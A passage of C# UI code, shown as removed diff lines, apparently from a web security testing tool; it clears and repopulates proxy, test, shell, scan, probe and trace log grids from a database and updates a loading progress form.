StopUpdatingFullUIFromDB_d(StopUpdatingFullUIFromDB); - IronUI.WF.Invoke(SUFUFD_d, new object[] { }); - } - else - { - WF.OK.Visible = true; - WF.TopMost = true; - WF.TopMost = false; - } - } - - delegate void ClearAllProxyGridRows_d(); - static void ClearAllProxyGridRows() - { - if (UI.ProxyLogGrid.InvokeRequired) - { - ClearAllProxyGridRows_d CAPGR_d = new ClearAllProxyGridRows_d(ClearAllProxyGridRows); - UI.Invoke(CAPGR_d, new object[] { }); - } - else - { - UI.ProxyLogGrid.Rows.Clear(); - } - } - - //delegate void AddProxyGridRows_d(List Rows); - //static void AddProxyGridRows(List Rows) - //{ - // if (UI.ProxyLogGrid.InvokeRequired) - // { - // AddProxyGridRows_d APGR_d = new AddProxyGridRows_d(AddProxyGridRows); - // UI.Invoke(APGR_d, new object[] { Rows }); - // } - // else - // { - // foreach (object[] Row in Rows) - // { - // if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - // try - // { - // UI.ProxyLogGrid.Rows.Add(Row); - // int ID = (int)Row[0]; - // if (ID > IronLog.ProxyMax) IronLog.ProxyMax = ID; - // if (ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = ID; - // } - // catch { } - // } - // Rows.Clear(); - // } - //} - - delegate void SetProxyGridRows_d(List Rows); - internal static void SetProxyGridRows(List Rows) - { - if (UI.ProxyLogGrid.InvokeRequired) - { - SetProxyGridRows_d SPGR_d = new SetProxyGridRows_d(SetProxyGridRows); - UI.Invoke(SPGR_d, new object[] { Rows }); - } - else - { - UI.ProxyLogGrid.Rows.Clear(); - IronLog.ProxyMin = 0; - IronLog.ProxyMax = 0; - foreach (object[] Row in Rows) - { - if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - UI.ProxyLogGrid.Rows.Add(Row); - int ID = (int)Row[0]; - if (ID > IronLog.ProxyMax) IronLog.ProxyMax = ID; - if (ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = ID; - } - catch { } - } - Rows.Clear(); - ShowCurrentLogStat(); - ShowLogBottomStatus("", false); - } - } - - delegate void ClearAllMTGridRows_d(); - static void ClearAllMTGridRows() - { - if (UI.TestLogGrid.InvokeRequired) - { - ClearAllMTGridRows_d CAMTGR_d = new ClearAllMTGridRows_d(ClearAllMTGridRows); - UI.Invoke(CAMTGR_d, new object[] { }); - } - else - { - UI.TestLogGrid.Rows.Clear(); - } - } - - //delegate void AddTestGridRows_d(List Rows); - //static void AddTestGridRows(List Rows) - //{ - // if (UI.TestLogGrid.InvokeRequired) - // { - // AddTestGridRows_d ATGR_d = new AddTestGridRows_d(AddTestGridRows); - // UI.Invoke(ATGR_d, new object[] { Rows }); - // } - // else - // { - // foreach (object[] Row in Rows) - // { - // if (UI.TestLogGrid.Rows.Count > IronLog.MaxRowCount) break; - // try - // { - // UI.TestLogGrid.Rows.Add(Row); - // int ID = (int)Row[0]; - // if (ID > IronLog.TestMax) IronLog.TestMax = ID; - // if (ID < IronLog.TestMin || IronLog.TestMin < 1) IronLog.TestMin = ID; - // } - // catch { } - // } - // Rows.Clear(); - // } - //} - - delegate void SetTestGridRows_d(List Rows); - internal static void SetTestGridRows(List Rows) - { - if (UI.TestLogGrid.InvokeRequired) - { - SetTestGridRows_d STGR_d = new SetTestGridRows_d(SetTestGridRows); - UI.Invoke(STGR_d, new object[] { Rows }); - } - else - { - UI.TestLogGrid.Rows.Clear(); - IronLog.TestMin = 0; - IronLog.TestMax = 0; - foreach (object[] Row in Rows) - { - if (UI.TestLogGrid.Rows.Count > IronLog.MaxRowCount) break; - try - { - UI.TestLogGrid.Rows.Add(Row); - int ID = (int)Row[0]; - if (ID > IronLog.TestMax) IronLog.TestMax = ID; - if (ID < IronLog.TestMin || IronLog.TestMin < 1) IronLog.TestMin = ID; - } - catch { } - } - Rows.Clear(); - ShowCurrentLogStat(); - ShowLogBottomStatus("", false); - } - } - - delegate void ClearAllShellGridRows_d(); - static void ClearAllShellGridRows() - { - if (UI.ShellLogGrid.InvokeRequired) - { - ClearAllShellGridRows_d CASGR_d = new ClearAllShellGridRows_d(ClearAllShellGridRows); - UI.Invoke(CASGR_d, new object[] { }); - } - else - { - UI.ShellLogGrid.Rows.Clear(); - } - } - - - //delegate void AddShellGridRows_d(List Rows); - //static void AddShellGridRows(List Rows) - //{ - // if (UI.ShellLogGrid.InvokeRequired) - // { - // AddShellGridRows_d ASGR_d = new AddShellGridRows_d(AddShellGridRows); - // UI.Invoke(ASGR_d, new object[] { Rows }); - // } - // else - // { - // foreach (object[] Row in Rows) - // { - // if (UI.ShellLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - // try - // { - // UI.ShellLogGrid.Rows.Add(Row); - // int ID = (int)Row[0]; - // if (ID > IronLog.ShellMax) IronLog.ShellMax = ID; - // if (ID < IronLog.ShellMin || IronLog.ShellMin < 1) IronLog.ShellMin = ID; - // } - // catch { } - // } - // Rows.Clear(); - // } - //} - - delegate void SetShellGridRows_d(List Rows); - internal static void SetShellGridRows(List Rows) - { - if (UI.ShellLogGrid.InvokeRequired) - { - SetShellGridRows_d SSGR_d = new SetShellGridRows_d(SetShellGridRows); - UI.Invoke(SSGR_d, new object[] { Rows }); - } - else - { - UI.ShellLogGrid.Rows.Clear(); - IronLog.ShellMin = 0; - IronLog.ShellMax = 0; - foreach (object[] Row in Rows) - { - if (UI.ShellLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - UI.ShellLogGrid.Rows.Add(Row); - int ID = (int)Row[0]; - if (ID > IronLog.ShellMax) IronLog.ShellMax = ID; - if (ID < IronLog.ShellMin || IronLog.ShellMin < 1) IronLog.ShellMin = ID; - } - catch { } - } - Rows.Clear(); - ShowCurrentLogStat(); - ShowLogBottomStatus("", false); - } - } - - delegate void SetOtherSourceGridRows_d(List Rows, string Source); - internal static void SetOtherSourceGridRows(List Rows, string Source) - { - if (UI.OtherLogGrid.InvokeRequired) - { - SetOtherSourceGridRows_d SOSGR_d = new SetOtherSourceGridRows_d(SetOtherSourceGridRows); - UI.Invoke(SOSGR_d, new object[] { Rows, Source }); - } - else - { - List Sources = new List(); - foreach (DataGridViewRow Row in UI.OtherLogSourceGrid.Rows) - { - Sources.Add(Row.Cells[0].Value.ToString()); - } - if (!Source.Contains(Source)) - { - UI.OtherLogSourceGrid.Rows.Add(new object[]{Source}); - } - UI.OtherLogGrid.Rows.Clear(); - IronLog.OtherSourceMin = 0; - IronLog.OtherSourceMax = 0; - foreach (object[] Row in Rows) - { - if (UI.OtherLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - UI.OtherLogGrid.Rows.Add(Row); - int ID = (int)Row[0]; - if (ID > IronLog.OtherSourceMax) IronLog.OtherSourceMax = ID; - if (ID < IronLog.OtherSourceMin || IronLog.OtherSourceMin < 1) IronLog.OtherSourceMin = ID; - } - catch { } - } - Rows.Clear(); - ShowCurrentLogStat(); - ShowLogBottomStatus("", false); - } - } - - delegate void ClearAllProbeGridRows_d(); - static void ClearAllProbeGridRows() - { - if (UI.ProbeLogGrid.InvokeRequired) - { - ClearAllProbeGridRows_d CAPGR_d = new ClearAllProbeGridRows_d(ClearAllProbeGridRows); - UI.Invoke(CAPGR_d, new object[] { }); - } - else - { - UI.ProbeLogGrid.Rows.Clear(); - } - } - - - //delegate void AddProbeGridRows_d(List Rows); - //static void AddProbeGridRows(List Rows) - //{ - // if (UI.ProbeLogGrid.InvokeRequired) - // { - // AddProbeGridRows_d APGR_d = new AddProbeGridRows_d(AddProbeGridRows); - // UI.Invoke(APGR_d, new object[] { Rows }); - // } - // else - // { - // foreach (object[] Row in Rows) - // { - // if (UI.ProbeLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - // try - // { - // UI.ProbeLogGrid.Rows.Add(Row); - // int ID = (int)Row[0]; - // if (ID > IronLog.ProbeMax) IronLog.ProbeMax = ID; - // if (ID < IronLog.ProbeMin || IronLog.ProbeMin < 1) IronLog.ProbeMin = ID; - // } - // catch { } - // } - // Rows.Clear(); - // } - //} - - delegate void SetProbeGridRows_d(List Rows); - internal static void SetProbeGridRows(List Rows) - { - if (UI.ProbeLogGrid.InvokeRequired) - { - SetProbeGridRows_d SPGR_d = new SetProbeGridRows_d(SetProbeGridRows); - UI.Invoke(SPGR_d, new object[] { Rows }); - } - else - { - UI.ProbeLogGrid.Rows.Clear(); - IronLog.ProbeMin = 0; - IronLog.ProbeMax = 0; - foreach (object[] Row in Rows) - { - if (UI.ProbeLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - UI.ProbeLogGrid.Rows.Add(Row); - int ID = (int)Row[0]; - if (ID > IronLog.ProbeMax) IronLog.ProbeMax = ID; - if (ID < IronLog.ProbeMin || IronLog.ProbeMin < 1) IronLog.ProbeMin = ID; - } - catch { } - } - Rows.Clear(); - ShowCurrentLogStat(); - ShowLogBottomStatus("", false); - } - } - - delegate void ClearAllScanGridRows_d(); - static void ClearAllScanGridRows() - { - if (UI.ScanLogGrid.InvokeRequired) - { - ClearAllScanGridRows_d CASGR_d = new ClearAllScanGridRows_d(ClearAllScanGridRows); - UI.Invoke(CASGR_d, new object[] { }); - } - else - { - UI.ScanLogGrid.Rows.Clear(); - } - } - - //delegate void AddScanGridRows_d(List Rows); - //static void AddScanGridRows(List Rows) - //{ - // if (UI.ScanLogGrid.InvokeRequired) - // { - // AddScanGridRows_d ASGR_d = new AddScanGridRows_d(AddScanGridRows); - // UI.Invoke(ASGR_d, new object[] { Rows }); - // } - // else - // { - // foreach (object[] Row in Rows) - // { - // if (UI.ScanLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - // try - // { - // UI.ScanLogGrid.Rows.Add(Row); - // int ID = (int)Row[0]; - // if (ID > IronLog.ScanMax) IronLog.ScanMax = ID; - // if (ID < IronLog.ScanMin || IronLog.ScanMin < 1) IronLog.ScanMin = ID; - // } - // catch { } - // } - // Rows.Clear(); - // } - //} - - delegate void SetScanGridRows_d(List Rows); - internal static void SetScanGridRows(List Rows) - { - if (UI.ScanLogGrid.InvokeRequired) - { - SetScanGridRows_d SSGR_d = new SetScanGridRows_d(SetScanGridRows); - UI.Invoke(SSGR_d, new object[] { Rows }); - } - else - { - UI.ScanLogGrid.Rows.Clear(); - IronLog.ScanMax = 0; - IronLog.ScanMin = 0; - foreach (object[] Row in Rows) - { - if (UI.ScanLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - UI.ScanLogGrid.Rows.Add(Row); - int ID = (int)Row[0]; - if (ID > IronLog.ScanMax) IronLog.ScanMax = ID; - if (ID < IronLog.ScanMin || IronLog.ScanMin < 1) IronLog.ScanMin = ID; - } - catch { } - } - Rows.Clear(); - ShowCurrentLogStat(); - ShowLogBottomStatus("", false); - } - } - - delegate void ClearAllScanQueueGridRows_d(); - static void ClearAllScanQueueGridRows() - { - if (UI.ASQueueGrid.InvokeRequired) - { - ClearAllScanQueueGridRows_d CASQGR_d = new ClearAllScanQueueGridRows_d(ClearAllScanQueueGridRows); - UI.Invoke(CASQGR_d, new object[] { }); - } - else - { - UI.ASQueueGrid.Rows.Clear(); - } - } - - delegate void ClearAllTraceGridRows_d(); - static void ClearAllTraceGridRows() - { - if (UI.TraceGrid.InvokeRequired) - { - ClearAllTraceGridRows_d CATGR_d = new ClearAllTraceGridRows_d(ClearAllTraceGridRows); - UI.Invoke(CATGR_d, new object[] { }); - } - else - { - UI.TraceGrid.Rows.Clear(); - } - } - - delegate void ClearAllScanTraceGridRows_d(); - static void ClearAllScanTraceGridRows() - { - if (UI.ScanTraceGrid.InvokeRequired) - { - ClearAllScanTraceGridRows_d CASTGR_d = new ClearAllScanTraceGridRows_d(ClearAllScanTraceGridRows); - UI.Invoke(CASTGR_d, new object[] { }); - } - else - { - UI.ScanTraceGrid.Rows.Clear(); - } - } - - delegate void AddScanQueueGridRows_d(List Rows); - static void AddScanQueueGridRows(List Rows) - { - if (UI.ASQueueGrid.InvokeRequired) - { - AddScanQueueGridRows_d ASQGR_d = new AddScanQueueGridRows_d(AddScanQueueGridRows); - UI.Invoke(ASQGR_d, new object[] { Rows }); - } - else - { - foreach (object[] Row in Rows) - { - int GridID = UI.ASQueueGrid.Rows.Add(Row); - DataGridViewRow GridRow = UI.ASQueueGrid.Rows[GridID]; - string Status = Row[1].ToString(); - switch (Status) - { - case "Running": - GridRow.DefaultCellStyle.BackColor = Color.Green; - break; - case "Aborted": - GridRow.DefaultCellStyle.BackColor = Color.Red; - break; - case "Completed": - GridRow.DefaultCellStyle.BackColor = Color.Gray; - break; - case "Incomplete": - case "Stopped": - GridRow.DefaultCellStyle.BackColor = Color.IndianRed; - break; - default: - GridRow.DefaultCellStyle.BackColor = Color.White; - break; - } - } - Rows.Clear(); - } - } - - delegate void ResetIronTree_d(); - static void ResetIronTree() - { - if (UI.IronTree.InvokeRequired) - { - ResetIronTree_d RIT_d = new ResetIronTree_d(ResetIronTree); - UI.Invoke(RIT_d, new object[] { }); - } - else - { - UI.IronTree.Nodes.Clear(); - BuildIronTree(); - } - } - - delegate void ShowWaitFormMessage_d(string Message); - static void ShowWaitFormMessage(string Message) - { - if (IronUI.WF.InvokeRequired) - { - ShowWaitFormMessage_d ASQGR_d = new ShowWaitFormMessage_d(ShowWaitFormMessage); - IronUI.WF.Invoke(ASQGR_d, new object[] { Message }); - } - else - { - IronUI.WF.Text = Message; - } - } - - delegate void ShowWaitFormOkBtn_d(); - static void ShowWaitFormOkBtn() - { - if (IronUI.WF.InvokeRequired) - { - ShowWaitFormOkBtn_d SWFOB_d = new ShowWaitFormOkBtn_d(ShowWaitFormOkBtn); - IronUI.WF.Invoke(SWFOB_d, new object[] { }); - } - else - { - IronUI.WF.OK.Visible = true; - } - } - - delegate void ShowWaitFormGridMessage_d(int ID, int Count, string Message, int Colour, bool Step); - static void ShowWaitFormGridMessage(int ID, int Count, string Message, int Colour, bool Step) - { - if (IronUI.WF.InvokeRequired) - { - ShowWaitFormGridMessage_d SWFGM_d = new ShowWaitFormGridMessage_d(ShowWaitFormGridMessage); - IronUI.WF.Invoke(SWFGM_d, new object[] { ID, Count, Message, Colour, Step }); - } - else - { - IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[1].Value = Count.ToString(); - IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Value = Message; - switch(Colour) - { - case(1): - IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Style.ForeColor = Color.Green; - break; - case (2): - IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Style.ForeColor = Color.Orange; - break; - case (3): - IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Style.ForeColor = Color.Red; - break; - } - IronUI.WF.ProjectLoadGrid.Rows[0].Cells[2].Value = "Status"; - if(Step) IronUI.WF.WaitFormProgressBar.PerformStep(); - } - } - - delegate void StepWaitFormProgressBar_d(); - static void StepWaitFormProgressBar() - { - if (IronUI.WF.InvokeRequired) - { - StepWaitFormProgressBar_d SWFPB_d = new StepWaitFormProgressBar_d(StepWaitFormProgressBar); - IronUI.WF.Invoke(SWFPB_d, new object[] { }); - } - else - { - IronUI.WF.WaitFormProgressBar.PerformStep(); - } - } - - internal static void UpdateFullUIFromDB() - { - bool Success = true; - - List> Urls = new List>(); - - int StartID = 0; - int Counter = 0; - - try - { - IronDB.ReadOtherSourceLogInformation(); - IronDB.MakeLogFileVersionCompliant(); - IronUI.UpdateOtherSourceLogGrid(new List(), new List(), "", new List(Config.OtherSourceCounterDict.Keys)); - } - catch{ ShowWaitFormMessage("Error reading Other Source Log DB.."); } - - //Clear all data from the results section - ResetPluginResultsTab(); - - //StepWaitFormProgressBar(); - ShowWaitFormGridMessage(1, Counter, "In Progress", 2, true); - ShowWaitFormMessage("Updating Proxy Logs.."); - - //Thread.Sleep(500); - Success = true; - List ProxyRows = new List(); - - List ProxyLogRecords = new List(); - - ClearAllProxyGridRows(); - try - { - ProxyLogRecords = IronDB.GetRecordsFromProxyLog(0, IronLog.MaxRowCount); //.GetProxyLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading Proxy Log DB.."); - ShowWaitFormGridMessage(1, 0, "Failed", 3, false); - Success = false; - } - if (ProxyLogRecords.Count > 0) - { - Counter = Counter + ProxyLogRecords.Count; - foreach (LogRow Fields in ProxyLogRecords) - { - if (Fields.ID > StartID) StartID = Fields.ID; - ProxyRows.Add(Fields.ToProxyGridRowObjectArray()); - try - { - Request Req = new Request("http://" + Fields.Host + Fields.Url); - Urls.Add(IronUpdater.GetUrlForList(Req)); - } - catch - { - //IronException.Report("Error creating Request from ProxyLogRow", Exp.Message, Exp.StackTrace); - } - - if (Fields.OriginalRequestHeaders.Length > 0) - { - try - { - Request OriginalRequest = new Request(Fields.OriginalRequestHeaders, false, false); - Urls.Add(IronUpdater.GetUrlForList(OriginalRequest)); - } - catch - { - //IronException.Report("Error creating Request from OriginalRequestHeaders of ProxyLogRow", Exp.Message, Exp.StackTrace); - } - } - } - ShowWaitFormGridMessage(1, Counter, "In Progress", 2, true); - //try - //{ - // ProxyLogRecords = IronDB.GetProxyLogRecords(StartID); - //} - //catch - //{ - // ShowWaitFormMessage("Error reading Proxy Log DB.."); - // ShowWaitFormGridMessage(1, Counter, "Failed", 3, false); - // Success = false; - //} - } - - SetProxyGridRows(ProxyRows); - - UpdateProxyLogBasedOnDisplayFilter(); - //Config.ProxyRequestsCount = StartID; - Config.ProxyRequestsCount = IronDB.GetLastProxyLogRowId(); - if (Success) ShowWaitFormGridMessage(1, Counter, "Done", 1, false); - - //test groups - ClearTestGroupLogGrid(); - try - { - IronDB.LoadTestGroups(); - } - catch { } - //UI.TestIDLbl.BackColor = Color.Red; - UI.TestIDLbl.Text = "ID: 0"; - //ManualTesting.CurrentGroup = "Red"; - UI.MTCurrentGroupNameTB.Text = ""; - IronUI.ResetMTDisplayFields(); - UI.TestGroupsLV.Items.Clear(); - foreach (string Group in ManualTesting.GroupSessions.Keys) - { - UI.TestGroupsLV.Items.Add(Group, Group, 0); - } - if (UI.TestGroupsLV.Items.Count > 0) - { - UI.TestGroupsTitleTB.Visible = true; - UI.TestGroupsLV.Visible = true; - } - else - { - UI.TestGroupsTitleTB.Visible = false; - UI.TestGroupsLV.Visible = false; - } - //if (ManualTesting.GroupSessions.Keys.Count > 0) - //{ - //string FirstKey = (new List(ManualTesting.GroupSessions.Keys))[0]; - //IronUI.UpdateTestGroupLogGrid(ManualTesting.RedGroupSessions); - //IronUI.UpdateTestGroupLogGrid(ManualTesting.GroupSessions[FirstKey]); - //ManualTesting.ShowSession(ManualTesting.RedGroupID); - //ManualTesting.ShowSession(ManualTesting.CurrentGroupLogId[FirstKey]); - - //} - Counter = 0; - - //StepWaitFormProgressBar(); - Success = true; - ShowWaitFormGridMessage(2, Counter, "In Progress", 2, true); - ShowWaitFormMessage("Updating Manual Testing Logs.."); - - //Thread.Sleep(500); - - StartID = 0; - List MTRows = new List(); - List MTLogRecords = new List(); - - ClearAllMTGridRows(); - try - { - MTLogRecords = IronDB.GetRecordsFromTestLog(0, IronLog.MaxRowCount); //.GetTestLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading MT Log DB.."); - ShowWaitFormGridMessage(2, 0, "Failed", 3, false); - Success = false; - } - - if (MTLogRecords.Count > 0) - { - Counter = Counter + MTLogRecords.Count; - foreach (LogRow Fields in MTLogRecords) - { - if (Fields.ID > StartID) StartID = Fields.ID; - MTRows.Add(Fields.ToTestGridRowObjectArray()); - } - ShowWaitFormGridMessage(2, Counter, "In Progress", 2, true); - //try - //{ - // MTLogRecords = IronDB.GetTestLogRecords(StartID); - //} - //catch - //{ - // ShowWaitFormMessage("Error reading MT Log DB.."); - // ShowWaitFormGridMessage(2, Counter, "Failed", 3, false); - // Success = false; - //} - } - SetTestGridRows(MTRows); - //Config.ManualRequestsCount = StartID; - Config.TestRequestsCount = IronDB.GetLastTestLogRowId(); - if (Success) ShowWaitFormGridMessage(2, Counter, "Done", 1, false); - - //StepWaitFormProgressBar(); - - Counter = 0; - Success = true; - ShowWaitFormMessage("Updating Scripting Logs.."); - ShowWaitFormGridMessage(3, Counter, "In Progress", 2, true); - //Thread.Sleep(500); - - StartID = 0; - List ShellRows = new List(); - List ShellLogRecords = new List(); - - ClearAllShellGridRows(); - try - { - ShellLogRecords = IronDB.GetRecordsFromShellLog(0, IronLog.MaxRowCount); //.GetShellLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading Shell Log DB.."); - ShowWaitFormGridMessage(3, 0, "Failed", 3, false); - Success = false; - } - if (ShellLogRecords.Count > 0) - { - Counter = Counter + ShellLogRecords.Count; - foreach (LogRow Fields in ShellLogRecords) - { - if (Fields.ID > StartID) StartID = Fields.ID; - ShellRows.Add(Fields.ToShellGridRowObjectArray()); - } - ShowWaitFormGridMessage(3, Counter, "In Progress", 2, true); - //try - //{ - // ShellLogRecords = IronDB.GetShellLogRecords(StartID); - //} - //catch - //{ - // ShowWaitFormMessage("Error reading Shell Log DB.."); - // ShowWaitFormGridMessage(3, Counter, "Failed", 3, false); - // Success = false; - //} - } - //Config.ShellRequestsCount = StartID; - Config.ShellRequestsCount = IronDB.GetLastShellLogRowId(); - SetShellGridRows(ShellRows); - if(Success) ShowWaitFormGridMessage(3, Counter, "Done", 1, false); - - //WF.WaitFormProgressBar.PerformStep(); - //StepWaitFormProgressBar(); - Success = true; - Counter = 0; - //WF.Text = "Updating Automated Scanning Queue.."; - ShowWaitFormMessage("Updating Automated Scanning Queue.."); - ShowWaitFormGridMessage(4, Counter, "In Progress", 2, true); - //Thread.Sleep(500); - - StartID = 0; - List ScanQueueRows = new List(); - List ScanQueueRecords = new List(); - - ClearAllScanQueueGridRows(); - try - { - ScanQueueRecords = IronDB.GetScanQueueRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading ScanQueue Log DB.."); - ShowWaitFormGridMessage(4, 0, "Failed", 3, false); - Success = false; - } - while (ScanQueueRecords.Count > 0) - { - Counter = Counter + ScanQueueRecords.Count; - foreach (string[] Fields in ScanQueueRecords) - { - int ID = 0; - try - { - ID = Int32.Parse(Fields[0]); - } - catch { continue; } - if (ID > StartID) StartID = ID; - - string Status = Fields[1]; - - if (Fields[1].Equals("Running") || Fields[1].Equals("Started")) Status = "Aborted"; - if (Fields[1].Equals("Queued")) Status = "Stopped"; - - ScanQueueRows.Add(new object[] { ID, Status, Fields[2], Fields[3] }); - } - ShowWaitFormGridMessage(4, Counter, "In Progress", 2, true); - try - { - ScanQueueRecords = IronDB.GetScanQueueRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading ScanQueue Log DB.."); - ShowWaitFormGridMessage(4, Counter, "Failed", 3, false); - Success = false; - } - } - AddScanQueueGridRows(ScanQueueRows); - //Config.ScanCount = StartID; - Config.ScanCount = IronDB.GetLastScanJobRowId(); - //int ScanCount = 1; - //while (ScanCount <= StartID) - //{ - // try - // { - // //Scanner Scan = IronDB.GetScannerFromDB(ScanCount); - // //ScanBranch.CanScan(Scan.OriginalRequest); - // } - // catch { } - // finally { ScanCount++; } - //} - - if(Success) ShowWaitFormGridMessage(4, Counter, "Done", 1, false); - - //WF.WaitFormProgressBar.PerformStep(); - //StepWaitFormProgressBar(); - - StartID = 0; - Counter = 0; - //WF.Text = "Updating Sitemap..."; - ShowWaitFormGridMessage(5, Counter, "In Progress", 2, true); - Success = true; - ShowWaitFormMessage("Updating ScanTrace Messages..."); - ClearAllTraceGridRows(); - List AllScanTraces = new List(); - List ScanTraces = new List(); - try - { - ScanTraces = IronDB.GetScanTraces(StartID, IronLog.MaxRowCount); - } - catch - { - ShowWaitFormMessage("Error ScanTrace Log DB.."); - ShowWaitFormGridMessage(5, 0, "Failed", 3, false); - Success = false; - } - if (ScanTraces.Count > 0) - { - Counter = Counter + ScanTraces.Count; - foreach (IronTrace Trace in ScanTraces) - { - if (Trace.ID > StartID) StartID = Trace.ID; - } - //UpdatePluginResultTree(PluginResultLogRecords); - AllScanTraces.AddRange(ScanTraces); - ShowWaitFormGridMessage(5, Counter, "In Progress", 2, true); - //try - //{ - // ScanTraces = IronDB.GetScanTraceRecords(StartID); - //} - //catch - //{ - // ShowWaitFormMessage("Error Trace Log DB.."); - // ShowWaitFormGridMessage(5, Counter, "Failed", 3, false); - // Success = false; - //} - } - SetScanTraceGrid(AllScanTraces); - //Config.ScanTraceCount = StartID; - Config.ScanTraceCount = IronDB.GetLastScanTraceLogRowId(); - Config.SessionPluginTraceCount = IronDB.GetLastSessionPluginTraceLogRowId(); - if(Success) ShowWaitFormGridMessage(5, Counter, "Done", 1, false); - - //WF.Text = "Updating Automated Scanning Logs.."; - Counter = 0; - ShowWaitFormGridMessage(6, Counter, "In Progress", 2, true); - Success = true; - ShowWaitFormMessage("Updating Automated Scanning Logs.."); - //Thread.Sleep(500); - - StartID = 0; - List ScanRows = new List(); - List ScanLogRecords = new List(); - - ClearAllScanGridRows(); - try - { - ScanLogRecords = IronDB.GetRecordsFromScanLog(0, IronLog.MaxRowCount); //.GetScanLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading Scan Log DB.."); - ShowWaitFormGridMessage(6, 0, "Failed", 3, false); - Success = false; - } - if (ScanLogRecords.Count > 0) - { - Counter = Counter + ScanLogRecords.Count; - foreach (LogRow Fields in ScanLogRecords) - { - if (Fields.ID > StartID) StartID = Fields.ID; - ScanRows.Add(Fields.ToScanGridRowObjectArray()); - } - ShowWaitFormGridMessage(6, Counter, "In Progress", 2, true); - //try - //{ - // ScanLogRecords = IronDB.GetScanLogRecords(StartID); - //} - //catch - //{ - // ShowWaitFormMessage("Error reading Scan Log DB.."); - // ShowWaitFormGridMessage(6, Counter, "Failed", 3, false); - // Success = false; - //} - } - SetScanGridRows(ScanRows); - //Config.PluginRequestsCount = StartID; - Config.ScanRequestsCount = IronDB.GetLastScanLogRowId(); - if(Success) ShowWaitFormGridMessage(6, Counter, "Done", 1, false); - - - //Probe Log - Counter = 0; - ShowWaitFormGridMessage(7, Counter, "In Progress", 2, true); - Success = true; - ShowWaitFormMessage("Updating Probe Logs.."); - //Thread.Sleep(500); - - StartID = 0; - List ProbeRows = new List(); - List ProbeLogRecords = new List(); - - ClearAllProbeGridRows(); - try - { - ProbeLogRecords = IronDB.GetRecordsFromProbeLog(0, IronLog.MaxRowCount); //.GetProbeLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading Probe Log DB.."); - ShowWaitFormGridMessage(7, 0, "Failed", 3, false); - Success = false; - } - - if (ProbeLogRecords.Count > 0) - { - Counter = Counter + ProbeLogRecords.Count; - foreach (LogRow Fields in ProbeLogRecords) - { - if (Fields.ID > StartID) StartID = Fields.ID; - ProbeRows.Add(Fields.ToProbeGridRowObjectArray()); - if (Fields.Code == 200) - { - try - { - Request Req = new Request("http://" + Fields.Host + Fields.Url); - Urls.Add(IronUpdater.GetUrlForList(Req)); - } - catch - { - //IronException.Report("Error creating Request from ProxyLogRow", Exp.Message, Exp.StackTrace); - } - } - } - ShowWaitFormGridMessage(7, Counter, "In Progress", 2, true); - //try - //{ - // ProbeLogRecords = IronDB.GetProbeLogRecords(StartID); - //} - //catch - //{ - // ShowWaitFormMessage("Error reading Probe Log DB.."); - // ShowWaitFormGridMessage(7, Counter, "Failed", 3, false); - // Success = false; - //} - } - SetProbeGridRows(ProbeRows); - //Config.ProbeRequestsCount = StartID; - Config.ProbeRequestsCount = IronDB.GetLastProbeLogRowId(); - if (Success) ShowWaitFormGridMessage(7, Counter, "Done", 1, false); - - - //WF.WaitFormProgressBar.PerformStep(); - //StepWaitFormProgressBar(); - //WF.Text = "Updating Plugin Results Information..."; - Counter = 0; - ShowWaitFormGridMessage(8, Counter, "In Progress", 2, true); - Success = true; - ShowWaitFormMessage("Updating Plugin Results Information..."); - //Thread.Sleep(500); - - //UI.IronTree.Nodes.Clear(); - ResetIronTree(); - //BuildIronTree(); - - StartID = 0; - List AllPluginResultLogRecords = new List(); - List PluginResultLogRecords = new List(); - - try - { - PluginResultLogRecords = IronDB.GetPluginResultsLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading PluginResult Log DB.."); - ShowWaitFormGridMessage(8, 0, "Failed", 3, false); - Success = false; - } - while (PluginResultLogRecords.Count > 0) - { - Counter = Counter + PluginResultLogRecords.Count; - foreach (Finding PR in PluginResultLogRecords) - { - if (PR.Id > StartID) StartID = PR.Id; - Finding.IsSignatureUnique(PR.Plugin, PR.AffectedHost, PR.Type, PR.Signature, true); - } - - AllPluginResultLogRecords.AddRange(PluginResultLogRecords); - ShowWaitFormGridMessage(8, Counter, "In Progress", 2, true); - try - { - PluginResultLogRecords = IronDB.GetPluginResultsLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading PluginResult Log DB.."); - ShowWaitFormGridMessage(8, Counter, "Failed", 3, false); - Success = false; - } - } - - UpdatePluginResultTree(AllPluginResultLogRecords); - //Config.PluginResultCount = StartID; - Config.PluginResultCount = IronDB.GetLastPluginResultLogRowId(); - if (Success) ShowWaitFormGridMessage(8, Counter, "Done", 1, false); - - - //WF.WaitFormProgressBar.PerformStep(); - //StepWaitFormProgressBar(); - Counter = 0; - ShowWaitFormGridMessage(9, Counter, "In Progress", 2, true); - Success = true; - //WF.Text = "Exceptions Information..."; - ShowWaitFormMessage("Updating Exceptions Information..."); - //Thread.Sleep(500); - - //////////////////////////////////////////// - - StartID = 0; - List AllExceptionLogRecords = new List(); - List ExceptionLogRecords = new List(); - try - { - ExceptionLogRecords = IronDB.GetExceptionLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading Exception Log DB.."); - ShowWaitFormGridMessage(9, 0, 